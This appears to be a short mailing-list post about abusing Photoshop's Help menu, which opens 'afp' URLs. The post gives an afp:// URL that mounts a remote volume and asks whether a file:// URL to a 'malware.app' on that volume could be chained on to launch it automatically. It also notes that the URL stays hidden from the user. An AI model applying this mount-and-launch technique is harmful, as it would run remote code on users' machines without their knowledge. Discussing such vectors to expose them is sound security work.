I don't know enough about URLs to work out if I can run one after another -
but I now know that Photoshop will also run "afp" urls.

So I can get PS to mount a remote volume from the Help menu:

    afp://;AUTH=No User email@hidden/volumename/

But am wondering if I can compound the URL to include:

    file:///Volumes/volumename/malware.app

Naturally, you could add another "Help Menu" item - but that's not slick
enough. I want to "mount & go"...

The only thing that bothers me is that the URL is hidden from the user when
it's in the Help menu. Entourage will launch scripts from a URL in an email,
but at least I can see what it's pointed at (unless it's HTML of course).
